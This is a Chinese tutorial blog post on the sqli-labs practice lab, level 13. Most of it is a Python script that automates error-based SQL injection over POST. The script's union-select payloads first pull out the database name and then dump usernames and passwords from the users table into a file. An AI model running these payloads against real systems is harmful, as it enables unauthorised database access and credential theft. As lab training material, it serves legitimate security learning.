当前位置: 首页 > article >正文

sqli-labs靶场自动化利用工具——第13关

文章目录

  • 概要
  • 整体架构流程
  • 技术细节
  • 执行效果
  • 小结

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第13关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

第13关使用的单引号括号注入。

请求方式是POST请求。

这个脚本唯一的缺陷就是出在后面的find_dbdata函数上面,该处使用不同的正则表达式就会筛选出不同的结果,最终的结果没能拿到我本地部署的sqli-labs靶场的全部数据库名和密码。类似admin1这种用户名和密码筛选出来就可以拿到全部的数据,这个算是这个小脚本的缺陷。有兴趣的小伙伴可以进一步研究。

技术细节

import requests
import re
import os
print("当前工作目录:", os.getcwd())

# 全局变量
url = 'http://sql:8081/Less-13/'


def find_dblength():
    headers = {
        'Host': 'sql:8081',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
                  'image/svg+xml,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '270',  # 根据data参数的长度进行修改
        'Origin': 'http://sql:8081',
        'Connection': 'close',
        'Referer': 'http://sql:8081/Less-13/',
        'Upgrade-Insecure-Requests': '1',
        'Priority': 'u=0, i'
    }
    data = {
        'uname': "username') union select 1,2 from (select count(*),concat((select concat(database()) limit 0,1),"
                 "floor(rand(0)*2)) "
                 "as x from information_schema.tables group by x) as alias-- -",
        'passwd': "') or 1=1-- -"
    }
    response = requests.post(url, headers=headers, data=data, verify=False)
    html_content = response.text
    match = re.search(r"Duplicate entry '([a-zA-Z]+)\d*' for key", html_content)
    if match:
        result = match.group(1)
        result_length = len(result)
        print(f"Result: {result}, Length: {result_length}")
        return result, result_length
    else:
        print("No match found.")
        return None, 0


def find_dbdata(result_length):
    file_path = os.path.join(os.getcwd(), 'result.txt')
    for i in range(result_length):
        headers = {
            'Host': 'sql:8081',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
                      'image/svg+xml,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '325',  # 根据data参数的长度进行修改
            'Origin': 'http://sql:8081',
            'Connection': 'close',
            'Referer': 'http://sql:8081/Less-13/',
            'Upgrade-Insecure-Requests': '1',
            'Priority': 'u=0, i'
        }
        data = {
            'uname': f"username') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,"
                     f"0x3a, 0x3a) from security.users limit {i},1),floor(rand(0)*2)) as x from information_schema.tables "
                     "group by x) as alias-- -",
            'passwd': "') or 1=1-- -"
        }
        response = requests.post(url, headers=headers, data=data, verify=False)
        html_content = response.text
        match = re.search(r"'(.+?)::(.+?)::(\d+)'", html_content)
        if match:
            with open(file_path, "a") as file:
                file.write(f"{match.group(1)}, {match.group(2)}\n")
        else:
            print(f"No match found for entry {i}.")


result, result_length = find_dblength()
if result_length > 0:
    find_dbdata(result_length)

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。


http://www.kler.cn/a/311762.html

相关文章:

  • uni-app表单⑪
  • HTML之列表
  • 速盾:cdn和反向代理的关系是什么?
  • 星期-时间范围选择器 滑动选择时间 最小粒度 vue3
  • 第七部分:2. STM32之ADC实验--AD多通道(AD采集三路传感器模块实验:光敏传感器、热敏传感器、反射式传感器附赠温湿度传感器教程)
  • 自动驾驶为什么需要时间同步?高精度时间同步如何实现?
  • RabbitMQ 和 Kafka 的详细对比表格
  • 消息队列:如何确保消息不会丢失?
  • 自然语言处理实战项目全解析
  • 阻止冒泡事件
  • Python中的异步编程:从基础知识到高级应用
  • vi | vim基本使用
  • 视频相关处理
  • 基于Delphi的题库生成系统
  • spark读mongodb
  • HTB-Jerry(tomcat war文件、msfvenom)
  • Unity制作角色溶解变成光点消失
  • GPT提示词分享 —— 深度思考助手
  • 【Vue】VueRouter路由
  • Spring系统学习(一)——初识Spring框架
  • 第五届“马栏山杯”国际音视频算法大赛创新应用赛投票环节正式启动啦!
  • Json和Http专栏
  • linux如何查看当前的目录所在位置
  • GDPU 信息安全 天码行空1 用Wireshark分析典型TCP/IP体系中的协议
  • 【vue】vue3+ts对接科大讯飞大模型3.5智能AI
  • MongoDB的安装和使用